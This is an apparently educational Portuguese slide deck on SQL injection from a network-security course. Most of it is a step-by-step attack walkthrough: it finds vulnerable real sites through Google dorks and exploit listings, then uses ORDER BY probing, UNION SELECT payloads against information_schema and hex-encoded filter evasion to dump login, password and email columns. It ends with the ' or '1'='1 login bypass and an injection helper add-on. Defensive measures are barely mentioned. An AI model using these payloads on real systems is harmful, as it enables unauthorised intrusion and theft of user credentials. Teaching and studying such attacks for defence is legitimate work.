Upload
alone350
View
60
Download
4
Embed Size (px)
Citation preview
Prof. Alexandre Marcelino
Segurança1
Segurança em Redes – SQl Injection
Prof.Alexandre Marcelino da [email protected]
[email protected] (MSN)
UniSalesianoCentro Universitário Católico Auxilium
Prof. Alexandre Marcelino
Segurança2
Conceito
A SQL Injection é uma forma de manipular as instruções SQL utilizados em páginas dinâmicas, ou seja, páginas que contenham conteúdo baseado em banco de dados. O conceito básico é tentar manipular as instruções SQL e variáveis que são passadas de um formulário para outro, através da junção de outros comandos SQL.
Isso somente é possível, se o desenvolvedor do Web-Site não programou uma solução que preveja e proteja esse tipo de problema.
Prof. Alexandre Marcelino
Segurança3
Conceito
Cabe ressaltar que essa técnica pode ser utilizada com qualquer linguagem de programação Server-Side Script, pois a falha não é da linguagem e sim da implementação.
Vamos entender como é a estrutura de um banco de dados:
Prof. Alexandre Marcelino
Segurança4
Conceito
Database Tabelas Colunas Conteúdo das Colunas
Prof. Alexandre Marcelino
Segurança5
Conceito
Uma das formas de se executar compreende localizar um site vulnerável e tentar o acesso de manipulando as tabelas através da inserção de comandos SQL na própria URL do website, dessa forma, é possível descobrir dados do banco de dados e ainda acessar a parte administrativa do mesmo.
Outra forma é inserir “tags” no campos de formulário de forma que falsifique a autenticação dos dados de login.
Vamos ver cada uma delas.
Prof. Alexandre Marcelino
Segurança6
Inserindo SQL na URL
1) Localizar sites vulneráveis
Existem várias formas de achar sites suscetíveis ao SQLI, como por exemplo, as várias google dorks existentes, sites onde são publicadas vulnerabilidades. Nesses sites vamos nos focar logicamente nas vulnerabilidades marcadas como "sql injection", abaixo alguns sites bons:
http://www.exploit-db.com/http://packetstormsecurity.org/
http://killer.blackapplehost.com/Public-Sql-Scanner/v1log.txt
Prof. Alexandre Marcelino
Segurança7
Inserindo SQL na URL
Algumas vezes você vai achar o exploit já com o caminho todo feito para se fazer a sqli, mas esse não é nosso objetivo, queremos fazer na mão mesmo, então vamos pegar algum site encontrado tanto dessa forma que citei a cima ou por dorks e vamos começar o passo a passo.
Prof. Alexandre Marcelino
Segurança8
Inserindo SQL na URL
Outra forma é buscas no Google através de uma busca parcial de uma URL, baseada em banco de dados. Normalmente, quando é realizada uma requisição em um site, passado através da URL um ou mais identificadores para ser realizada a busca no banco de dados, por exemplo:
http://www.salesiano-ata.br/faculdades/index.php?fcs=noticias&op=1119
Isso indica a passagem de identificadores FCS com o valor noticias e OP com o valor 1119.
Prof. Alexandre Marcelino
Segurança9
Inserindo SQL na URL
É extremamente comum encontrarmos nomes triviais nos websites, tanto em relação aos scripts como em relação a identificadores.
Nomes comuns de scripts:Noticias, new, fotos,index, principal, agenda, etc
Nomes comuns de identificadores: id, cod, codigo, cod_id, id_cod, etc
Prof. Alexandre Marcelino
Segurança10
Inserindo SQL na URL
Baseado nisso você pode utilizar a tag INURL para busca uma combinação de páginas que utilizem esses dados padrões.
Exemplo: inurl:noticias.php?id=
Essa combinação irá buscar scripts na linguagem PHP com o nome de NOTICIAS e que passem através da Url um identificador chamado ID.
Prof. Alexandre Marcelino
Segurança11
Inserindo SQL na URL
2) Testando se o site é vulnerável:
Essa etapa vamos acrescentar um " ' " na URL e esperar que retorne algum erro.
Exemplo:
Código:
http://www.site.com/news_item.php?id=1'
ou
Código:
http://www.site.com/news_item.php?id='1
Prof. Alexandre Marcelino
Segurança12
Inserindo SQL na URL
O erro que esperamos que seja mostrado na página é:
Código:
"Warning: mysql_fetch_object(): supplied argument is not a valid MySQL result resource in /u/r/site/xxxxx/site.com/diretorio/diretorio/news_item.php on line 108“
O erro acima diz que você possui um erro na síntaxe da consulta Sql e pede para você checar o manual correspondente ao SGBD que você está utilizando. Agora que checamos o erro no site e sabemos que este é vulnerável a injeção de Sql na url.
Prof. Alexandre Marcelino
Segurança13
Inserindo SQL na URL
3) Determinando o número de colunas:
Precisamos agora saber quantas colunas essa database tem. Para encontrar a quantidade de Colunas/Tabelas é utilizado o comando ORDER BY.
Mas como utilizar este comando Sql?
Simples! Ao final da url você adiciona o comando order by e vai adicionando uma sequência de Colunas/Tabelas, ou seja, você pode acionar a coluna correspondente. vamos então solicitar ao servidor essas informações
Prof. Alexandre Marcelino
Segurança14
Inserindo SQL na URL
Se não aparecer nenhum erro é por que esta Coluna/Tabela número 1 existe. Lembre-se que esta vulnerabilidade necessitamos trabalhar em cima dos erros, então o ideal é você ir acrescentado valor até que o site retorne um erro dizendo que a Coluna/Tabela é inexistente no banco de dados.
Código:
http://www.site.com/news_item.php?id=1 ORDER BY 1-- SEM ERRO, A PÁGINA CARREGOU NORMAL
Código:
http://www.site.com/news_item.php?id=1 ORDER BY 2-- SEM ERRO, A PÁGINA CARREGOU NORMAL
Prof. Alexandre Marcelino
Segurança15
Inserindo SQL na URL
Código:
http://www.site.com/news_item.php?id=1 ORDER BY 3-- SEM ERRO, A PÁGINA CARREGOU NORMAL
Código:
http://www.site.com/news_item.php?id=1 ORDER BY 4-- SEM ERRO, A PÁGINA CARREGOU NORMAL
Código:
http://www.site.com/news_item.php?id=1 ORDER BY 5-- SEM ERRO, A PÁGINA CARREGOU NORMAL
Código:
http://www.site.com/news_item.php?id=1 ORDER BY 6-- SEM ERRO, A PÁGINA CARREGOU NORMAL
Prof. Alexandre Marcelino
Segurança16
Inserindo SQL na URL
Código:
http://www.site.com/news_item.php?id=1 ORDER BY 7-- SEM ERRO, A PÁGINA CARREGOU NORMAL
Código:
http://www.site.com/news_item.php?id=1 ORDER BY 8-- SEM ERRO, A PÁGINA CARREGOU NORMAL
Código:
http://www.site.com/news_item.php?id=1 ORDER BY 9-- ERRO! Algum erro apareceu na página
O que isso quer dizer? Que a tabela que está sendo utilizada na página tem 8 colunas.
Prof. Alexandre Marcelino
Segurança17
Inserindo SQL na URL
4) Descobrindo qual coluna é vulnerável:
Agora precisamos encontrar nessas 8 colunas qual delas é vulnerável, sabendo isso, todos nossos comandos futuros serão feitos em cima dessa coluna.
Para tal, iremos uilizar a função UNION.
Esta função poderosa é responsável por unir vários dados localizados em Colunas/Tabelas diferentes.
Prof. Alexandre Marcelino
Segurança18
Inserindo SQL na URL
Faça a união de todas as informações contidas das Colunas/Tabelas 1, 2, 3, 4, 5, 6, 7 e 8 do site: http://www.site.com/news_item.php . Está e a ordem que você atribui ao comando colocado na url do site.
Código:
http://www.site.com/news_item.php?id=-1 UNION SELECT 1,2,3,4,5,6,7,8—
Prof. Alexandre Marcelino
Segurança19
Inserindo SQL na URL
Explicando a Sql:O exemplo acima vai possibilitar ao "Injectador" visualizar todas as informações contidas nas Colunas/Tabelas 1, 2, 3, 4, 5, 6, 7 e 8 do banco.
Código:...?id ... union all select 1,2,3,4,5,6,7,8
Prof. Alexandre Marcelino
Segurança20
Inserindo SQL na URL
Após ter feito isso, deve ter sido mostrado algum número na tela, esse número indica qual coluna é vulnerável(pode ser mostrado mais de uma coluna)no nosso tutorial vamos encarar como se tivesse sido mostrado o número 2.não se esquecer do "-" depois do =.
Prof. Alexandre Marcelino
Segurança21
Inserindo SQL na URL
5) Descobrindo a versão do SQL:
Código:
http://www.site.com/news_item.php?id=-1 UNION SELECT 1,@@version,3,4,5,6,7,8--Deve ter sido mostrado algo como 5.0.91-community ou [5.0.77-log], o que importa é ser a versão 5.xx, se for a versão 4.xxx esse tutorial não vai servir. Perceberam que a solicitação "@@version" foi justamente onde seria a coluna número 2, colocamos ela justamente ai porque descobrimos no passo anterior que a coluna número dois que era a vulnerável.
Prof. Alexandre Marcelino
Segurança22
Inserindo SQL na URL
6) Achando o nome do banco de dados:Código:
http://www.site.com/news_item.php?id=-1 UNION SELECT 1,group_concat(schema_name),3,4,5,6,7,8 FROM information_schema.schemata—
Após esse comando será retornado o nome do banco de dados, prestar atenção que pode aparecer mais de um nome, isso significa que além da database da aplicação que estamos no momento, o site possui outras. Isso ocorre normalmente quando o site está hospedado em um datacenter, ou empresa de hospedagem de site.
Prof. Alexandre Marcelino
Segurança23
Inserindo SQL na URL
Para ver apenas a da aplicação corrente, entramos com o comando:
Código:
http://www.site.com/news_item.php?id=-1 UNION SELECT 1,concat(database()),3,4,5,6,7,8--
Vamos supor que após esses comandos, obtemos como nome do DB a palavra Zaza, guarde esse nome, vamos usar depois.
Prof. Alexandre Marcelino
Segurança24
Inserindo SQL na URL
7) Achando o nome das tabelas:
O comando para se achar o nome das tabelas tem a mesma lógica do comando para achar o nome do DB (Banco de dados)
Código:
http://www.site.com/news_item.php?id=-1 UNION SELECT 1,group_concat(table_name),3,4,5,6,7,8 FROM information_schema.tables WHERE table_schema=database()--
Prof. Alexandre Marcelino
Segurança25
Inserindo SQL na URL
Se tudo deu certo será mostrado o nome de várias tabelas, cabe a você escolher de qual tabela retirar o nome das colunas(no próximo passo), para ilustrar nosso exemplo, vamos dizer que encontramos as tabelas chamadas "user,forum,files,bans“
Mais ou menos o que esse comando quer dizer é "junte as tabelas e pegue o nome delas do local information_schema.tables, que por sua vez pode ser encontrado na database"
Prof. Alexandre Marcelino
Segurança26
Inserindo SQL na URL
8) Achando o nome das colunas:
Agora temos que localizar as colunas da tabela alvo.
Vamos escolher a tabela user para extrairmos os nomes das colunas.
Código:
http://www.site.com/news_item.php?id=-1 UNION SELECT 1,group_concat(column_name),3,4,5,6,7,8 FROM information_schema.columns WHERE table_name="user"--
Prof. Alexandre Marcelino
Segurança27
Inserindo SQL na URL
Deu tudo certo? tem grandes chances que não tenha dado, nessa etapa muitas vezes você tem variar um pouco o comando pra "enganar" o server e permitir você fazer essa solicitação, pra isso vamos fazer o seguinte:
Pegue o nome da tabela que queremos "abrir" no nosso caso a tabela com nome user.entre no site http://www.swingnote.com/tools/texttohex.phpouhttp://www.string-functions.com/string-hex.aspx
Prof. Alexandre Marcelino
Segurança28
Inserindo SQL na URL
Escreva o nome da tabela e clique em "Convert", fazendo isso você vai ter o equivalente em hexadecimal da palabra user, que no caso foi igual a "75736572" agora podemos voltar para a URL do site vulnerável e efetuar esse comando:
Código:
http://www.site.com/news_item.php?id=-1 UNION SELECT 1,group_concat(column_name),3,4,5,6,7,8 FROM information_schema.columns WHERE table_name=0x75736572--
Prof. Alexandre Marcelino
Segurança29
Inserindo SQL na URL
Perceba que acrescentamos 0x antes do valor hexadecimal para informar ao server que deve interpretar aquilo como hexadecimal. Dando tudo certo, você tem agora em mãos, o nome das colunas que estão dentro da tabela user certo? Vamos usar como exemplo que dentro tabela user encontramos as colunas com os seguintes nomes "id,first_name,email,login,password", no próximo passo veremos como ver o conteúdo delas.
Prof. Alexandre Marcelino
Segurança30
Inserindo SQL na URL
9) Obtendo o conteúdo das colunas:
Código:
http://www.site.com/news_item.php?id=-1 UNION SELECT 1,group_concat(login,0x3a,password,0x3a,email),3,4,5,6,7,8 FROM user--Nesse comando solicitamos ao server para exibir o conteúdo das colunas "login,password e email) que estão na database chamada "fpblog" dentro da tabela "user". O que é "0x3a" bom, isso serve para que o conteúdo dessas tabelas nos seja mostrado por um separador ":"
Prof. Alexandre Marcelino
Segurança31
Injetando em Formulários
O conceito é tentar forjar a autenticação de login e senha.
Alguns dos sites usam para autenticar os usuários, uma tabela num banco de dados relacional que contém todos os logins e senhas que tem acesso. A jogada está na forma como eles usam param autenticar usuários: uma string SQL que é concatenada com o login e senha que o usuário passa num formulário.
select * from tabelaUsuario where login=‘"+ id_form+“ ' and senha =‘"+senha_form+" ‘ "
Prof. Alexandre Marcelino
Segurança32
Injetando em Formulários
O script faz a consulta e testa: se voltou algum registro, o usuário passou as credenciais corretas. Podemos manipular essa SQL jogando nos campos de usuário e senha, valores que forçam a volta de registros !!
Por exemplo: Colocamos como login o valor [' or '1'='1] (Sem cochetes) Colocamos como senha o valor [' or '1'='1] (Sem cochetes)
Prof. Alexandre Marcelino
Segurança33
Injetando em Formulários Veja o SQL que resulta quando estes valores são
concatenados:
select * from tabelaUsuario where user_name='"+ login_form+"' and userPasswd ='"+login
Injetada--> select * from tabelaUsuario where user_name='' or '1'='1' and userPasswd='' or '1'='1'
Repare que modificamos a lógica do filtro passado e agora a consulta vai voltar TODOS os registros da tabela de usuário
Prof. Alexandre Marcelino
Segurança34
Injetando em Formulários
No Firefox
https://addons.mozilla.org/pt-BR/firefox/addon/6727
Dá apoio/auxílio na injeção dos códigos da SQL Injection.